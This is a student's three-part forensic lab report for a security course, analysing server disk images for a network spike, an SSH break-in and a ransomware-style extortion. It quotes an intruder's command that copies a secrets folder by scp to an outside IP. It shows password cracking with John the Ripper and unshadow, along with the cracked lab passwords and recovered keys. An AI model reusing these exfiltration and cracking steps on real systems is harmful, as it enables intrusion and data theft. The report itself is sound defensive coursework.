Arpit Jasapara
UID: XXXXXXXXX
CS136
Lab 4

ACT I:
In order to get an idea of what's going on with the system, I started my analysis by going into /var/log. Here, I used cat to look at all the messages, and found no signs of bad behavior such as password cracking. I also looked at the auth.log file and similarly, did not see any manipulative or malicious attempts to access the system.

At this point, I decided to examine the user accounts and their home directories. Bob, Eric, and Peter's directories did not have any files so I examined their .bash_history. Bob only had a shutdown command, while Eric used mutt and logout to check his emails and logout. Peter did not even issue any commands. Thus, I do not suspect any of the three of executing any malicious code or programs.

Next, Takeda has an eggdrop compressed file and a directory containing the contents of this eggdrop. Takeda also issued network commands such as ifconfig. And as we suspected, unzipped the eggdrop compressed file into his home directory. The README from eggdrop indicates that it is an IRC bot, similar to the irssi command he ran. However, his .bash_history indicates that he did not run the eggdrop program so it would generate a network spike. So it seems that while Takeda seems suspicious, he hasn't done anything malicious or something to generate the spike.

Lastly, we have Kevin. Kevin has two folders in his directory called links and music. The links folder has files that alias to various MP3 files in the music folder, which are taking up a large amount of space. The README says the files come from 8bitpeoples making us believe that they were not obtained in the most legal fashion. I examined Kevin's .bash_history to find that he used crontab to run rsync at 4am every day from kevin.dynip.com. This may be his own domain that he's using to obtain all these large MP3 files. This cron job seems to align with the network spike detected at 4am because media files are of noticeable size, especially considering how many he downloaded.

Formal report:
1) I do not believe that the server was compromised. It seems that Kevin may have some suspicious origin for these songs, but besides that the server seems intact.
2) Since there was no attacker, no sensitive information was probably accessed.
3) There's not much meaningful data to recover, only the observations pointed out above.
4) Before returning the system to production, the University should talk to its students about responsible behavior with school resources, especially Kevin, and potentially delete some of the MP3 files to free up storage.
5) In order to prevent this from happening again, students should have limited privileges, especially when it comes to cron, and programs before running should be authorized by

an administrator. This will result in safe, responsible behavior and should prevent any further unauthorized network spikes.

6) This assignment took me about 3 to 4 hours to finish.

ACT II:

In order to get an idea of what's going on with the system, I started my analysis by going into /var/log as before. Here, I used cat to look at all the messages, and found no signs of bad behavior such as password cracking. However, the auth.log file indicated that John, Fred, and Mike were unsuccessfully accessed several times from 193.252.122.103, until this IP gets access to Mike then Fred then root then Jane. He then uses Mike to gain root privileges to create a new account 'jake' who was then logged into locally (IP 127.0.0.1).

At this point, I got suspicious of how this IP kept unsuccessfully trying until it got in, so I decided to see how easy the passwords are to mess up (indicating the failures were innocent) or guess/crack (indicating an intruder gained access). I ran John the Ripper on the /etc/passwd file on the image and got the following output:

```
Created directory: /users/la136cd/.john
Loaded 8 password hashes with 8 different salts (md5crypt [MD5 32/64
X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (mike)
password         (guest)
tuesday2         (root)
baseball8        (fred)
4g 0:00:09:24 3/3 0.007083g/s 2610p/s 10195c/s 10195C/s rjb28..rjb20
Use the "--show" option to display all of the cracked passwords
reliably
Session aborted
```

Clearly, I was able to get Mike's password almost instantly, because it's so insecure. At this point, I decide to examine the users' directories and their .bash_history files to see what has been done under their names. Bill, John, and Guest appear to be fine with clear .bash_history files. Fred on the other hand tried to access the secrets folder via cd, and then proceeded to copy the entire folder into his own directory under '.elikes'. Jane tried to use cat to attempt to read various secret files. However, both did not seem to have root access so the attacker was not able to do as much damage as with Mike's account. In Mike's .bash_history, I found that he downloaded John the Ripper, copies the /etc/passwd file into calendar.txt, and read his own .bash_history file. He then proceeds to run John the Ripper on the /etc/passwd file so clearly he was trying to gain access to the passwords. Lastly, I read Jake's .bash_history to find that he ran the command "scp -r secrets d000d@207.92.30.41" which is clearly evidence of 'jake' transferring the secrets folder to the IP 207.92.30.41, the IP address associated with the kid. This evidence seems to be in line with the kid's story that he got it from a "friend", but it could also be that the other IP 193.252.122.103 also belongs to the kid. In order to get concrete

evidence, it might be fruitful to track down 193.252.122.103, and see if it leads back to the kid or someone else.

Formal Report:

1) The server was definitely compromised. All the data and observations above all lead to the conclusion that an attacker was able to successfully get into the server.
2) The attacker definitely accessed sensitive information. He transferred the secrets folder to the kid's IP.
3) Since the data still exists on the server, there is nothing to be recovered. It was more about finding evidence of what and how the server was compromised.
4) The system needs to be completely formatted. The attacker may have planted a trojan horse or some other virus that may be undetected, and could continue to siphon off data to third-parties. It's better to be safe than sorry, so they should make copies of only the most important data (checking each file to confirm that it is clean), format the server, and recreate the environment along with transferring back the data.
5) Create better passwords! Especially Mike. The passwords should contain more than alphanumeric characters and should be difficult to crack. The secrets folder should be better guarded, maybe restricting the permissions given to users. The SSH authentication should also timeout after certain failed attempts or restrict access to certain IPs to prevent brute-force attempts and unauthorized access. Along with these recommendations, the network administrator should look into other safe practices such as adding a firewall to prevent such breaches of security from occurring again.
6) This assignment took me about 4 hours to finish.

ACT III:

The first thing I did as soon as I mounted the disk was run the undeleter e2undel to recover maximum data from which I can retrieve the boss' files. I did this first to make sure I don't accidentally overwrite any deleted data while I explore the hard drive. I was particularly interested in finding remnants of the decryption keys. I noticed 3 small consecutive inodes that seem to only contain one line each. They contained key-like strings of text that began with 6, 7, and 8 respectively, indicating that these might correspond to the 8 keys required.

At this point, I decided to look for more keys by running search commands with root privileges. I realized that some of these files will literally have key inside the name of the file so I run the command 'sudo find sda1 -name "*key*" > temp.txt' followed by 'cat temp.txt' to display all the files. As I suspected, I found sda1/tmp/extortomatic-23421/key1 and sda1/home/rich/.extrtmtc/key4 which contained key1 and key4 respectively. I also found 8 files in the form sda1/home/rich/swiss_keys/swisskeyN.gpg where the N corresponds to the numbers from 1 to 8. These files seem to be what is keeping the swiss codes.

I investigate the gpg files by running the first one with "sudo gpg sda1/home/rich/swiss_keys/swisskey1.gpg", at which point it prompts me for a passphrase. I enter the contents from the key1 file, at which point it generates the file swisskey1. Opening

the swisskey1 file, I found the line “me_and_you_and_you_and_me-so_happy_2gether”, which means that I am definitely on the right track, since I found one of the bank codes!
I am only missing keys 2, 3, and 5 at this point so in order to find them I decide to mount the swap partition since we know that running strings on this partition will allow us to look through all the contents. So I run “sudo strings /dev/loop1 | grep “key” > temp2.txt” to get a text file with all the matching names. I search the file for each of these numbers and manage to find all of them. I have listed all 8 keys in order below:

```
1 23philo7dendron88
2 41jade6tree29
3 29azalea8flower00
4 11hibiscus2hibiscus23
5 19rose42blossom35
6 13tulip34root28
7 17jonquil23scent14
8 26daisy99daisy99
```

Using these keys, I decrypted each of the bank codes to get in order:

```
me_and_you_and_you_and_me-so_happy_2gether
everybody_dance_now_hey_now
what_would_you_do_if_sang_out_of_tune
im_pickin_up_good_vibrations
its_the_little_old_lady_from_pasadena
raindrops_keep_fallin_on_my_head
twist_again_like-we_did_last_summer
goodness_gracious_great_balls_of_fire
```

Clearly, I found all 8 bank codes so now there is no reason for the boss to have to pay the ransom, which means I now make some money! In order to figure out who was responsible, I look into the user accounts on his computer. Opening the auth.log and each .bash_history, we see that the gardener account used gpg and opened a root shell. The gardener and jeeves as well looked at their .bash_history using cat. Moreover, there seem to be no failed SSH or other remote attempts to gain access to these accounts. This suspicious behavior and lack of external unauthorized forces make it seem like it may have been an inside job by the gardener along with some collaboration with jeeves. The boss should definitely investigate the two, and potentially look at the chef as well (he definitely has the money and resources to do so, and hire new staff if needed) to find concrete evidence of their involvement.

Formal Report:

1) The server was clearly compromised. His bank codes were encrypted and ransomed!
2) He clearly accessed sensitive information (the bank codes).
3) I was able to recover the keys and with those, the bank access codes through the steps described above.

4) The system needs to be completely formatted. Any other sensitive data should be carefully extracted, while making sure there's no viruses attached, and the rest of the system needs to be thoroughly formatted. This would be to eliminate any and all trojans and viruses, and just to be secure with the sensitive data.
5) The staff should not have sudo privileges to say the least, and their behavior should definitely be monitored. Remote unauthorized access should also be disabled to prevent hackers from breaking into the system. Sensitive data should also not be left unprotected and out into the open, like important bank access codes. Obviously, additional security measures should be taken instead of encrusting the hard drive with diamonds to prevent such a thing from happening again.
6) This assignment took me about 6 hours to finish.

EXTRA CREDIT:
In accordance with the extra credit, I ran John the Ripper on the /etc/shadow file (even though I was a bit confused as to why). After it ran for a long time, I was right about my suspicion of running it on the raw shadow file. I then ran "sudo unshadow /etc/passwd /etc/shadow > temp_passwd" and "john temp_passwd" to recover the following passwords (after another long time):

```
butler           (jeeves)
moneymoney       (root)
plants     (gardener)
food       (chef)
moneybags        (rich)
```